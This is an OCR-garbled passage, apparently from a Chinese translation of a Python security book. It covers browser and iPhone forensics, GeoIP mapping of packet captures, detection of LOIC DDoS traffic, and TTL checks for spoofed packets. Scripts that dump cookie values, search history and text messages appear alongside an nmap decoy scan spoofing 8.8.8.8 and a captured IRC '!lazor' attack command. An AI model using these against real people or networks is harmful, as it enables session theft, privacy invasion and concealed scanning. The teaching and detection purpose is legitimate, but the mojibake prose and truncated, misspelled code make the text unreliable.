print('[*] Upgrade your Python-Sglite3 Library')

{ S— >

¥ #sqlite3

RT R EE R e RARZ XA BKINEY sqlited3 4T cookies.sqlite #IEE &
A ST o X%"Ek?i—‘/\é&%}ié o BRINR K #9Sqlite3 89 rR A&
Sqlite3.6.22 F X HFWAL B EHE KX o & F R A6 KINME A
PRAGMAjournal_mode=WAL #£X /£ cookies.sqlite #¢ places.sqlite #*XiE
BP0 XA a R A B Sqlite3 XA L sqlite3 BIRAIRH o



SQLite version 3.6.22

Enter ".help" for instructions

Enter SQL statements terminated with a ";"

sqlite> select * from moz_cookies;

Error: file is encrypted or is not a database

After upgrading your Sglite3 binary and Pyton-Sqlite3 libraries to
a version > 3.7, you should be able to open the newer Firefox
databases.

investigator:~# sqlite3.7 ~/.mozilla/firefox/nq474mcm.default/
cookies.sqglite

SQLite version 3.7.13 2012-06-11 02:05:22

Enter ".help" for instructions

Enter SQL statements terminated with a ";"

sqlite> select * from moz_cookies;
1|backtrack-linux.org|__<..SNIPPED..>
4|sourceforge.net|sf_mirror_attempt|<..SNIPPED..>

To avoid our script crashing on this unhandled error, with the
cookies.sqlite and places.sqglite databases, we put exceptions to
catch the encrypted database error message. To avoid receiving
this error, upgrade your Python-Sqlite3 library or use the older
Firefox cookies.sqlite and places.sqlite databases included on the
companion Web site.
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def printHistory(placesDB):
try:
conn = sqglite3.connect(placesDB)
c = conn.cursor()
c.execute("select url, datetime(visit_date/1000000,
"unixepoch') from moz_places, moz_historyvisits where visit
0 and moz_places.id==moz_historyvisits.place_id;")
print('\n[*] -- Found History --')
for row in c:
url = str(row[0])
date = str(row[1])
print '[+] ' + date + ' - Visited: ' + url
except Exception as e:
if 'encrypted' in str(e):
print('\n[*] Error reading your places database.')
print('[*] Upgrade your Python-Sqglite3 Library')
exit(0)
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import sglite3, re
def printGoogle(placesDB):
conn = sqglite3.connect(placesDB)
c = conn.cursor()
c.execute("select url, datetime(visit_date/1000000, 'unixepoch
from moz_places, moz_historyvisits where visit_count > 0 and mc
print('\n[*] -- Found Google --')
for row in c:
url = str(row[0])
date = str(row[1])
if 'google' in url.lower():
r = re.findall(r'g=.*\&', url)

if r:
search=r[0].split('&")[0]
search=search.replace('q=', '').replace('+', ' ')
print('[+] '+date+' - Searched For: ' + search)
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downloadDB
downloadDB

pathName + “\\downloads.sqlite”##
os.path.join(pathName, “downloads.sqlite”)

% & —T » Windows Al P4 H cC:\Users\<user_name>\ k& T#42 » fmLinux
#2Mac OS 1£ F] /home/<user_name>/ k& TR P ¥4z » FRIGBELAT »
HMETHELTR—H > AL BN EIHZERBRERFARZE - 05 EA
TR — Mgk 2 THRAF A RAT A TAF 89 B K o

# coding=UTF-8
import sqglite3
import re
import optparse
import os
def printDownloads(downloadDB):
conn = sqglite3.connect(downloadDB)
c = conn.cursor()
c.execute('SELECT name, source, datetime(endTime/1000000, \'un:
print '\n[*] --- Files Downloaded --- '
for row in c:
print('[+] File: ' + str(row[0@]) + ' from source: ' + str(i
def printCookies(cookiesDB):
try:
conn = sqlite3.connect(cookiesDB)
c = conn.cursor()
c.execute('SELECT host, name, value FROM moz_cookies')
print('\n[*] -- Found Cookies --'")
for row in c:
host = str(row[0])
name = str(row[1])
value = str(row[2])
print('[+] Host: ' + host + ', Cookie: ' + name + ', Vi
except Exception as e:
if 'encrypted' in str(e):
print('\n[*] Error reading your cookies database.')
print('[*] Upgrade your Python-Sglite3 Library')
def printHistory(placesDB):
try:
conn = sqglite3.connect(placesDB)
c = conn.cursor()
c.execute("select url, datetime(visit_date/1000000, 'unixej
print('\n[*] -- Found History --'")
for row in c:
url = str(row[0])
date = str(row[1])
print '[+] ' + date + ' - Visited: ' + url
except Exception as e:
if 'encrypted' in str(e):



print('\n[*] Error reading your places database.')
print('[*] Upgrade your Python-Sglite3 Library')
exit(0)
def printGoogle(placesDB):
conn = sqglite3.connect(placesDB)
c = conn.cursor()
c.execute("select url, datetime(visit_date/1000000, 'unixepoch
print('\n[*] -- Found Google --')
for row in c:
url = str(row[0])
date = str(row[1])
if 'google' in url.lower():
r = re.findall(r'g=.*\&', url)

if r:
search=r[0].split('&")[0]
search=search.replace('q=', '').replace('+', ' ')
print('[+] '+date+' - Searched For: ' + search)

def main():
parser = optparse.OptionParser("usage%prog -p <firefox profile
parser.add_option('-p', dest='pathName',6 type='string', help="¢
(options, args) = parser.parse_args()
pathName = options.pathName

if pathName == None:
print(parser.usage)
exit(0)

elif os.path.isdir(pathName) == False:
print('[!] Path Does Not Exist: ' + pathName)
exit(0)
else:
downloadDB = os.path.join(pathName, 'downloads.sqlite')
if os.path.isfile(downloadDB):
printDownloads(downloadDB)
else:
print('[!] Downloads Db does not exist: '+downloadDB)
cookiesDB = os.path.join(pathName, 'cookies.sqglite')
if os.path.isfile(cookiesDB):
printCookies(cookiesDB)
else:
print('[!] Cookies Db does not exist:' + cookiesDB)
placesDB = os.path.join(pathName, 'places.sqlite')
if os.path.isfile(placesDB):
printHistory(placesDB)
printGoogle(placesDB)

else:
print('[!] PlacesDb does not exist: ' + placesDB)
if __name__ == "__main__":
main()
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investigator$ python parse-firefox.py -p ~/Library/Application\Supj

[*] --- Files Downloaded ---

[+] File: ANONOPS_The_Press_Release.pdf from source: http://www.wil
[*] -- Found Cookies --

[+] Host: .mozilla.org, Cookie: wtspl, Value: 894880

[+] Host: www.webassessor.com, Cookie: _ utma, Value: 1.2246604404(
[*] -- Found History --

[+] 2011-11-20 16:28:15 - Visited: http://www.mozilla.com/en-US/f1ii
[+] 2011-11-20 16:28:16 - Visited: http://www.mozilla.org/en-US/f1ii
[*] -- Found Google --

[+] 2011-12-14 05:33:57 - Searched For: The meaning of life?

[+] 2011-12-14 05:52:40 - Searched For: Pterodactyl

[+] 2011-12-14 05:59:50 - Searched For: How did Lost end?

(| - »]
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C:\Documents and Settings\<USERNAME>\Application Data\AppleComputer’
T > £Mac OS X A% Lk 5 B & i

/Users/<USERNAME>/Library/Application Support/MobileSync/Backup/ °
iTunes %af?é&f‘iﬁﬁblx%&ﬁ?fﬁﬁﬁﬁﬁﬁﬁﬁﬁzﬁwx%&iﬂ LB FT o ERAT KRR R
iPhone & i 89 &5 A+ ©

investigator$ 1ls
68b16471ed678a3a470949963678d47b7a415be3
68c96ac7d7f02c20e30ba2acc8d91c42f7d2f77f
68b16471ed678a3a470949963678d47b7a415be3
68d321993fe03f7fe6754f5f4bal15a9893fe38db
69005cbh27b4af77b149382d1669ee34b30780c99
693a31889800047f02c64b0a744e68d2a2cff267
6957b494a71f191934601d08ea579b889f417af9
698b7961028238a63d02592940088f232d23267¢e
6a2330120539895328d6e84d5575cf44a082c62d
<..SNIPPED. .>
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investigator$ file *
68b16471ed678a3a470949963678d47b7a415be3: data
68c96ac7d7f02c20e30ba2acc8d91c42f7d2f77f: SQLite 3.x database
68b16471ed678a3a470949963678d47b7a415be3: JPEG image data
68d321993fe03f7fe6754f5f4bal15a9893fe38db: JPEG image data
69005ch27b4af77b149382d1669e€e34b30780c99: JPEG image data
693a31889800047f02c64b0a744e68d2a2cff267: SQLite 3.x
database

6957b494a71f191934601d08ea579b889f417af9: SQLite 3.x
database

698b7961028238a63d025929400881232d23267e: JPEG image data
6a2330120539895328d6e84d5575cf44a082c62d: ASCII English
text

<..SNIPPED. .>
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4~ : SELECT tbl_name FROM sqlite_masterWHERE type==‘table’ ° °» &H—"
SQLite #%iE E 24P T —A sqlite_master (9K L2 T #&IEE 69 SARGEM » LA
T BB R 0 BARRA o Ld g & AV RAT D) BB IBEAL R o

import os
import sqglite3
def printTables(iphoneDB):

try:
conn = sqglite3.connect(iphoneDB)
c = conn.cursor()
c.execute('SELECT tbl_name FROM sqglite_master WHERE type=='
print("\n[*] Database: "+iphoneDB)
for row in c:
print("[-] Table: "+str(row))
except:
pass
finally:

conn.close()
dirList = os.listdir(os.getcwd())
for fileName in dirList:
printTables(fileName)
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investigator$ python listTables.py

.SNIPPED...>

Database: 3939d33868ebfe3743089954bf0e7f3a3al1604fd
Table: (u'ItemTable',)

Database: d0d7e5fb2ce288813306e4d4636395e047a3d28
Table: (u'_SqliteDatabaseProperties',)

Table: (u'message',)

Table: (u'sglite_sequence',)

Table: (u'msg_group',)

Table: (u'group_member',)

Table: (u'msg_pieces',)

Table: (u'madrid_attachment',)

Table: (u'madrid_chat',)

Database: 3de971e20008baa84ec3b2e70fcl71ca24eb4f58
Table: (u'ZFILE',)

Table: (u'Z_1LABELS',)

. .SNIPPED. .>
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def isMessageTable(iphoneDB):
try:
conn = sqglite3.connect(iphoneDB)
c = conn.cursor()
c.execute('SELECT tbl_name FROM sglite_master WHERE type==\"tal
for row in c:
if 'message' in str(row):
return True
except:
return False
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4. select datetime(date,\’ unixepoch\ ), address, text from message
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def printMessage(msgDB):
try:
conn = sqglite3.connect(msgDB)
c = conn.cursor()
c.execute('select datetime(date, \'unixepoch\'),address, text fi
for row in c:

date = str(row[0])
addr = str(row[1])
text = row[2]
print('\n[+] Date: '+date+',6 Addr: '+addr + ' Message: ' +
except:
pass
| — o]
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# coding=UTF-8
import os
import sqlite3
import optparse
def isMessageTable(iphoneDB):
try:
conn = sqglite3.connect(iphoneDB)
c = conn.cursor()

c.execute('SELECT tbl_name FROM sqglite_master WHERE type=='

for row in c:
if 'message' in str(row):
return True

except:

return False
def printMessage(msgDB):

try:
conn = sqglite3.connect(msgDB)
c = conn.cursor()

c.execute('select datetime(date, \'unixepoch\'), address,

for row in c:

te>

date = str(row[0])
addr = str(row[1])
text = row[2]
print('\n[+] Date: '+date+', Addr: '+addr + ' Message:
except:
pass
def main():

parser = optparse.OptionParser("usage%prog -p <iPhone Backup D:
parser.add_option('-p', dest='pathName',6 type='string', help="'sj

(options, args) = parser.parse_args()
pathName = options.pathName

if pathName == None:
print parser.usage
exit(0)

else:

dirList = os.listdir(pathName)

for fileName in dirList:

iphoneDB = os.path.join(pathName, fileName)
if isMessageTable(iphoneDB):

try:
print('\n[*] --- Found Messages ---')
printMessage(iphoneDB)

except:
pass

if __name__ == '__main__"':
main()
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investigator$ python iphoneMessages.py -p ~/Library/Application\Suj
[*] --- Found Messages ---

[+] Date: 2011-12-25 03:03:56, Addr: 55555554333 Message: Happy ho.
[+] Date: 2011-12-27 00:03:55, Addr: 55555553274 Message: You didnfi
[+] Date: 2011-12-27 00:47:59, Addr: 55555553947 Message: Quick que
<..SNIPPED. .>
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http://www.maxmind.com/app/geolitecity

analyst# wget http://geolite.maxmind.com/download/geoip/database/
GeoLiteCity.dat.gz

--2012-03-17 09:02:20-- http://geolite.maxmind.com/download/geoip/
database/GeolLiteCity.dat.gz

Resolving geolite.maxmind.com... 174.36.207.186

Connecting to geolite.maxmind.com|174.36.207.186|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 9866567 (9.4M) [text/plain]

Saving to: 'GeoLiteCity.dat.gz'

9,866,567 724K/s in 15s k
2012-03-17 09:02:36 (664 KB/s) - 'GeolLiteCity.dat.gz' saved
[9866567/9866567 ]
analyst#gunzip GeolLiteCity.dat.gz
analyst#mkdir /opt/GeoIP
analyst#mv GeolLiteCity.dat /opt/GeoIP/Geo.dat
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import pygeoip
gl = pygeoip.GeoIP('/opt/GeoIP/GeoIP.dat')
def printRecord(tgt):
rec = gi.record_by_ addr(tgt)
city = rec['city']
region = rec['region_name']
country = rec|['country_name']
long = rec['longitude']
lat = rec['latitude']
print('[*] Target: ' + tgt + ' Geo-located. ')
print('[+] '+str(city)+', '+str(region)+', '+4str(country))
print('[+] Latitude: '+str(lat)+ ', Longitude: '+ str(long))
tgt = '173.255.226.98'
printRecord(tgt)


http://code.google.com/p/pygeoip/
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analyst# python printGeo.py

[*] Target: 173.255.226.98 Geo-located.
[+] Jersey City, NJ, United States

[+] Latitude: 40.7245, Longitude: -74.0621
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http://code.google.com/p/dpkt/
http://code.google.com/p/pypcap/

import dpkt
import socket

def printPcap(pcap):
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)

print('[+] Src: ' + src + ' --> Dst: ' + dst)

except:
pass

def main():

f = open('data.pcap')

pcap = dpkt.pcap.Reader(f)
printPcap(pcap)

if _ name_ == '_main__':
main()

3é

analyst# python printDirection.py

[+] Src: 110.8.88.36 --> Dst: 188.39.7.79

[+] Src: 28.38.166.8 --> Dst: 21.133.59.224

[+] Src: 153.117.22.211 --> Dst: 138.88.201.132
[+] Src: 1.103.102.104 --> Dst: 5.246.3.148

[+] Src: 166.123.95.157 --> Dst: 219.173.149.77
[+] Src: 8.155.194.116 --> Dst: 215.60.119.128
[+] Src: 133.115.139.226 --> Dst: 137.153.2.196
[+] Src: 217.30.118.1 --> Dst: 63.77.163.212
[+] Src: 57.70.59.157 --> Dst: 89.233.181.180
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# coding=UTF-8
import dpkt
import socket
import pygeoip
import optparse

gi = pygeoip.GeoIP('/opt/GeoIP/GeoIP.dat')

def retGeoStr(ip):
try:
rec = gi.record_by name(ip)
city = rec['city']
country = rec|['country_code3']
if city !I= '':
geolLoc city + ', ' + country
else:
geoLoc = country
return geolLoc
except Exception as e:
return 'Unregistered'

def printPcap(pcap):
for (ts, buf) in pcap:

try:

eth = dpkt.ethernet.Ethernet(buf)

ip = eth.data

src = socket.inet_ntoa(ip.src)

dst = socket.inet_ntoa(ip.dst)

print('[+] Src: ' + src + ' --> Dst: ' + dst)

print('[+] Src: ' + retGeoStr(src) + ' --> Dst: ' + ref
except:

pass

def main():
parser = optparse.OptionParser('usage%prog -p <pcap file>'")
parser.add_option('-p', dest='pcapFile',6 type='string', help="¢
(options, args) = parser.parse_args()
if options.pcapFile == None:
print(parser.usage)
exit(0)
pcapFile = options.pcapFile
f = open(pcapFile)
pcap = dpkt.pcap.Reader(f)

printPcap(pcap)
if __name__ == '__main__"':
main()
J E— o]
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analyst# python geoPrint.py -p geotest.pcap

[+] Src: 110.8.88.36 --> Dst: 188.39.7.79

[+] Src: KOR --> Dst: London, GBR

[+] Src: 28.38.166.8 --> Dst: 21.133.59.224

[+] Src: Columbus, USA --> Dst: Columbus, USA
[+] Src: 153.117.22.211 --> Dst: 138.88.201.132
[+] Src: Wichita, USA --> Dst: Hollywood, USA
[+] Src: 1.103.102.104 --> Dst: 5.246.3.148

[+] Src: KOR --> Dst: Unregistered

[+] Src: 166.123.95.157 --> Dst: 219.173.149.77
[+] Src: Washington, USA --> Dst: Kawabe, JPN
[+] Src: 8.155.194.116 --> Dst: 215.60.119.128
[+] Src: USA --> Dst: Columbus, USA

[+] Src: 133.115.139.226 --> Dst: 137.153.2.196
[+] Src: JPN --> Dst: Tokyo, JPN

[+] Src: 217.30.118.1 --> Dst: 63.77.163.212
[+] Src: Edinburgh, GBR --> Dst: USA

[+] Src: 57.70.59.157 --> Dst: 89.233.181.180
[+] Src: Endeavour Hills, AUS --> Dst: Prague, CZE

1# i1 Python% 2 Google . A
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<?xml version="1.0" encoding="UTF-8"?>

<kml xmlns="http://www.opengis.net/kml/2.2">
<Document>

<Placemark>

<name>93.170.52.30</name>

<Point>
<coordinates>5.750000,52.500000</coordinates>
</Point>

</Placemark>

<Placemark>

<name>208.73.210.87</name>

<Point>
<coordinates>-122.393300,37.769700</coordinates>
</Point>

</Placemark>

</Document>

</kml>



TERANERE L —NREK retkML()  FIPHEA M ARE —NEFRGKMLE R © 4
A BAKRMNEARRGZER pygeoip RIFIPHILGGZELHE o RE KM TAA
A HTr 3 5 RATAIKMLAR R © 4o R EATE B 73 F > 44w “location not found,” » %
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def retKML(ip):
rec = gi.record_by_name(ip)
try:
longitude = rec|['longitude']
latitude = rec['latitude']
kml = ('<Placemark>\n'
'<name>%s</name>\n'
'<Point>\n'
'<coordinates>%6f,%6f</coordinates>\n'
'</Point>\n'
'</Placemark>\n"'
) % (ip,longitude, latitude)
return kml
except Exception, e:
return "'

AT N EB RAVR I R o BRATILAERhotE T GKML L Fe B o st FH—4
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# coding=UTF-8

import dpkt

import socket

import pygeoip

import optparse

gi = pygeoip.GeoIP('/opt/GeoIP/GeoIP.dat')

def retKML(ip):
rec = gi.record_by_name(ip)
try:
longitude = rec|['longitude']
latitude = rec['latitude']
kml = ('<Placemark>\n'
'<name>%s</name>\n'
'<Point>\n'
'<coordinates>%6f, %6f</coordinates>\n'
'</Point>\n'
'</Placemark>\n"'
) % (ip,longitude, latitude)
return kml
except Exception, e:


https://developers.google.com/kml/documentation/

return ''

def plotIPs(pcap):

kmlPts = "'
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
srcKML = retKML(src)
dst = socket.inet_ntoa(ip.dst)
dstKML = retKML(dst)
kmlPts = kmlPts + srckKML + dstKML
except:
pass

return kmlPts

def main():
parser = optparse.OptionParser('usage%prog -p <pcap file>'")
parser.add_option('-p', dest='pcapFile',K type='string', help="¢
(options, args) = parser.parse_args()
if options.pcapFile == None:
print parser.usage
exit(0)
pcapFile = options.pcapFile
f = open(pcapFile)
pcap = dpkt.pcap.Reader(f)

kmlheader = '<?xml version="1.0" encoding="UTF-8"7?>\
\n<kml xmlns="http://www.opengis.net/kml/2.2">\n<Document>\n"'
kmlfooter = '</Document>\n</kml>\n'
kmldoc=kmlheader+plotIPs(pcap)+kmlfooter
print(kmldoc)
if __name__ == '__main__"':

main()
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LOICHR A AFIRIEREN » F—FHEXF » AP TR A B Az » F FE XN
HIVEMIND » A P # #LOICE| — /™ B 47 89 IRCR % ¥4 # 17 A sh 3 &F -

1% Fl Dpkt#% 5| i £ T #LOIC

AR ATRAE R > Anonymousik it XA T — AN F R LA 0 X TLOICH L& #2169
o wNARABE AL FILOICEMN 2B EMD ? TREJLFAR - AZHLZF T A
FERFTFRB AL TR £R—FF > 2 &NAE RIFH AT HIE L8958 RH %
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ZEM LS ANRRBELOICH T » —% & A T4E o 7T v Ahsourceforge LA T #,
http://sourceforge.net/projects/loic/ » TERATRNZX T » THAT > 477 tcpdump &
1% 0 R80T 0 FHATIPLER » RTUFE—TLER o

analyst# tcpdump -i eth® -A 'port 80'

17:36:06.442645 IP attack.61752 > downloads.sourceforge.net.http:
Flags [P.], seq 1:828, ack 1, win 65535, options [nop,nop, TS v:
488571053 ecr 3676471943], length 827E..0..0.@........ ".;.8.P.I

o "

..GET /project/loic/loic/1loic-1.0.7/LOIC 1.0.7.42binary.zip
?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Floic%2F&amp; ts=13:

HTTP/1.1

Host: downloads.sourceforge.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_7_3)
ApplewWebKit/534.53.11 (KHTML, like Gecko) Version/5.1.3

Safari/534.53.10
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http://sourceforge.net/projects/loic/

import dpkt
import socket

def findDownload(pcap):
for (ts, buf) in pcap:

try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
tcp = ip.data
http = dpkt.http.Request(tcp.data)
if http.method == 'GET':
uri = http.uri.lower()
if '.zip' in uri and 'loic' in uri:
print('[!] " + src + ' Downloaded LOIC.')
except:

pass

f = open('LOIC.pcap')
pcap = dpkt.pcap.Reader(f)
findDownload(pcap)

EAT BB A RN TAEECEZ AR P TATLOICTA -

analyst# python findDownload.py
[!] 192.168.1.3 Downloaded LOIC.
[!] 192.168.1.5 Downloaded LOIC.
[!] 192.168.1.7 Downloaded LOIC.
[!] 192.168.1.9 Downloaded LOIC.
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analyst# sudo tcpdump -i eth® -A 'port 6667
08:39:47.968991 IP anonOps.59092 > ircServer.ircd: Flags [P.], seq
3112239490:3112239600, ack 110628, win 65535, options [nop, nop,

val 437994780 ecr 246181], length 110
E...5<@.@..9.. .. ' $. 3......

E..... TOPIC #LOIC:!lazor targetip=66.211.169.66 message=test_tes!
port=80 method=tcp wait=false random=true start
08:39:47.970719 IP ircServer.ircd > loic-client.59092: Flags [P.],
seq 1:139, ack 110, win 453, options [nop,nop,TS val 260262 ec
437994780], length 138
E....&amp;@.@.r3.._..._........ $..... ... k.....
...... E.:kevin!kevin@anonOps TOPIC #loic:!lazor targetip=66.211.16¢
message=test_test port=80 method=tcp wait=false random=true start

{ S
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import dpkt
import socket

def findHivemind(pcap):
for (ts, buf) in pcap:

try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
tcp = ip.data
dport = tcp.dport
sport = tcp.sport
if dport == 6667:
if 'llazor' in tcp.data.lower():
print('[!] DDoS Hivemind issued by: '+src)
print('[+] Target CMD: ' + tcp.data)
if sport == 6667:
if 'llazor' in tcp.data.lower():
print('[!] DDoS Hivemind issued to: '+src)
print('[+] Target CMD: ' + tcp.data)
except:

pass

12 % i 2 #4769 DDos 3 &
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analyst# tcpdump -i eth® 'port 80'

06:39:26.090870 IP loic-attacker.1182 >loic-target.www: Flags [P.]
336:348, ack 1, win

64240, length 12

06:39:26.090976 IP loic-attacker.1186 >loic-target.www: Flags [P.]
336:348, ack 1, win

64240, length 12

06:39:26.090981 IP loic-attacker.1185 >loic-target.www: Flags [P.]
301:313, ack 1, win

64240, length 12

06:39:26.091036 IP loic-target.www > loic-attacker.1185: Flags [.]
313, win 14600, lengt

h 0

06:39:26.091134 IP loic-attacker.1189 >loic-target.www: Flags [P.]
336:348, ack 1, win

64240, length 12

06:39:26.091140 IP loic-attacker.1181 >loic-target.www: Flags [P.]
336:348, ack 1, win

64240, length 12

06:39:26.091142 IP loic-attacker.1180 >loic-target.www: Flags [P.]
336:348, ack 1, win

64240, length 12

06:39:26.091225 IP loic-attacker.1184 >loic-target.www: Flags [P.]
336:348, ack 1, win

<.. REPEATS 1000x TIMES..>
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import dpkt
import socket

THRESH = 100060

def findAttack(pcap):
pktCount = {}
for (ts, buf) in pcap:

try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
tcp = ip.data
dport = tcp.dport
if dport == 80:
stream = src + ':' + dst
if pktCount.has_key(stream):
pktCount[stream] = pktCount[stream] + 1
else:
pktCount[stream] = 1
except:

pass
for stream in pktCount:
pktsSent = pktCount[stream]
if pktsSent > THRESH:
src = stream.split(':')[0]
dst = stream.split(':"')[1]
print('[+] '+src+' attacked '+dst+' with ' + str(pktsSe
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# coding=UTF-8
import dpkt
import socket
import optparse

def findDownload(pcap):
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data

src = socket.inet_ntoa(ip.src)

tcp = ip.data

http = dpkt.http.Request(tcp.data)
if http.method == 'GET':

uri = http.uri.lower()
if '.zip' in uri and 'loic' in uri:
print('[!] ' + src + ' Downloaded LOIC.')
except:



pass

THRESH = 10000

def findAttack(pcap):
pktCount = {}
for (ts, buf) in pcap:

try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
tcp = ip.data
dport = tcp.dport
if dport == 80:
stream = src + ':' + dst
if pktCount.has_key(stream):
pktCount[stream] = pktCount[stream] + 1
else:
pktCount[stream] = 1
except:

pass
for stream in pktCount:
pktsSent = pktCount[stream]
if pktsSent > THRESH:
src = stream.split(':"')[0]
dst = stream.split(':"')[1]
print('[+] '+src+' attacked '+dst+' with ' + str(pktsSe

def findHivemind(pcap):
for (ts, buf) in pcap:

try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
tcp = ip.data
dport = tcp.dport
sport = tcp.sport
if dport == 6667:
if '!lazor' in tcp.data.lower():
print('[!] DDoS Hivemind issued by: '+src)
print('[+] Target CMD: ' + tcp.data)
if sport == 6667:
if '!lazor' in tcp.data.lower():
print('[!] DDoS Hivemind issued to: '+src)
print('[+] Target CMD: ' + tcp.data)
except:
pass
def main():

parser = optparse.OptionParser("usage%prog -p<pcap file> -t <t
parser.add_option('-p', dest='pcapFile',K type='string', help="¢
parser.add_option('-t', dest='thresh',6 type='int', help="'specit



(options, args) = parser.parse_args()
if options.pcapFile == None:
print(parser.usage)
exit(0)
if options.thresh != None:
THRESH = options.thresh
pcapFile = options.pcapFile
f = open(pcapFile)
pcap = dpkt.pcap.Reader(f)
findDownload(pcap)
findHivemind(pcap)
findAttack(pcap)
if __pname__ == '__main__
main()
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analyst# python findDDoS.py -p traffic.pcap

[!] 192.168.1.3 Downloaded LOIC.

[!] 192.168.1.5 Downloaded LOIC.

[!] 192.168.1.7 Downloaded LOIC.

[!] 192.168.1.9 Downloaded LOIC.

[!] DDoS Hivemind issued by: 192.168.1.2

[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141 message:
[!] DDoS Hivemind issued to: 192.168.1.3

[+] Target CMD: TOPIC #LOIC:'!'lazor targetip=192.168.95.141 message:
[!] DDoS Hivemind issued to: 192.168.1.5

[+] Target CMD: TOPIC #LOIC:'!lazor targetip=192.168.95.141 message:
[+] 192.168.1.3 attacked 192.168.95.141 with 1000337 pkts.

[+] 192.168.1.5 attacked 192.168.95.141 with 4133000 pkts.
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target# ping -m 64 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

64 bytes from 8.8.8.8: icmp_seq=1 ttl=53 time=48.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=53 time=49.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=53 time=59.4 ms

Gl F 2 R 69 160K » HFEAE LATTL R A AL 4R 2 E#6G o RAEEFH
THHETTLA P Moore# il ik 4148 & o A& » Nmap#y K A% 1999545 2| £ % 84938
kAo &R o AR > Nmapie I T @69 FAMALegZ BTTL o % &ML
A —ATTL AP ALEER TS ETTLAG A o

/* Time to live */

if (ttl == -1) {
myttl = (get_random_uint()% 23) + 37;
} else {
myttl = ttl;
b

AT BAT—/NmapE iz » RAEIPRILE @M 5% -D » ZZAHFILT »
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attacker$ nmap 192.168.1.7 -D 8.8.8.8 -ttl 13

Starting Nmap 5.51 (http://nmap.org) at 2012-03-04 14:54 MST
Nmap scan report for 192.168.1.7

Host is up (0.015s latency).

<..SNIPPED. .>

£ Bz 192.168.1.7 £ KA A F@EXTATH tepdump ( -v ) AL HAA
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BRTTLA13 > #/8#ak A 8.8.8.8 RE T HIE G o

target# tcpdump -i eth® -v -nn 'host 8.8.8.8'
8.8.8.8.42936 > 192.168.1.7.6: Flags [S], cksum Oxcae7 (correct),
690560664, win 3072, options [mss 1460], length 0
14:56:41.289989 IP (tos Ox0, ttl 13, id 1625, offset 0, flags [none
proto TCP (6), length 44)
8.8.8.8.42936 > 192.168.1.7.1009: Flags [S], cksum Oxc6fc (cori
seq 690560664, win 3072, options [mss 1460], length 0
14:56:41.289996 IP (tos Ox0, ttl 13, id 16857, offset 0, flags
[none], proto TCP (6), length 44)
8.8.8.8.42936 > 192.168.1.7.1110: Flags [S], cksum 0xc697 (cori
seq 690560664, win 3072, options [mss 1460], length 0
14:56:41.290003 IP (tos O0x0, ttl 13, id 41154, offset 0, flags [nhot
proto TCP (6), length 44)
8.8.8.8.42936 > 192.168.1.7.2601: Flags [S], cksum 0xc0Oc4 (cori
seq 690560664, win 3072, options [mss 1460], length 0
14:56:41.307069 IP (tos Ox0, ttl 13, id 63795, offset O, flags [nor
proto TCP (6), length 44)
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from scapy.all import *
def testTTL(pkt):
try:
if pkt.haslayer(IP):
ipsrc = pkt.getlayer(IP).src
ttl = str(pkt.ttl)
print '[+] Pkt Received From: '+ipsrc+' with TTL: ' + {
except:
pass

def main():
sniff(prn=testTTL, store=0)

if _ name_ == ' main__ ':
main()

{ S

EBATEAV R » BA1A B KA1 RIT B 6 Hhb ik 3] JUAF A R B 69 TTLA) 038
6,0 RWHLER B AIERE 8.8.8.8 WTTLA13 B H 2k o BN FETTLE %A
64-13=51%k » KA1 T AN AAAHEIIE 6 o m1ZEE— % » LiInux/Unix 4 4. Eid
FMETTLE A 64 » mWindows A L A145TTLAA 4128 A T AT A B 89 » KA
BAZRAT R BTk B Linux32 #6933 6 » ATV RN I — DM RE R E L FES
ATTL o

analyst# python printTTL.py

[+] Pkt Received From: 192.168.1.7 with TTL: 64
[+] Pkt Received From: 173.255.226.98 with TTL: 52
[+] Pkt Received From: 8.8.8.8 with TTL: 13

[+] Pkt Received From: 8.8.8.8 with TTL: 13

[+] Pkt Received From: 192.168.1.7 with TTL: 64
[+] Pkt Received From: 173.255.226.98 with TTL: 52
[+] Pkt Received From: 8.8.8.8 with TTL: 13

EAT189RE checkTTL() FE—MNPRMbaEFosd & 6 TTLIEANE A s A FH s BTTLA
LR AIE & o B ERANTA— DKM 515 4 RIR G TR RAIPAL 6 33E &
(10.0.0.0-10.255.255.255 , 172.16.0.0-172.31.255.255 ,

#7 192.168.0.0-192.168.255.255 ) °

Ak EMFANIPYE » AT # %A Scapy 8IPEF R » KA EEHIPTEST »
42 % IPTEST(ipsrc).iptype() & ™ 'PRIVATE' - &A% Bkt & M4k
&, o
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from IPy import IP as IPTEST
ttlvalues = {}
THRESH = 5

def checkTTL(ipsrc, ttl):

if IPTEST(ipsrc).iptype() == 'PRIVATE':
return

if not ttlvalues.has_key(ipsrc):
pkt = sri(IP(dst=ipsrc) / ICMP(), retry=0, timeout=1, verbe
ttlvValues[ipsrc] = pkt.ttl

if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
print('\n[!] Detected Possible Spoofed Packet From: ' + ip:
print('[!] TTL: " + ttl + ', Actual TTL: ' + str(ttlvalues]
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# coding=UTF-8

import time

import optparse

from scapy.all import *

from IPy import IP as IPTEST

ttlvalues = {}
THRESH = 5

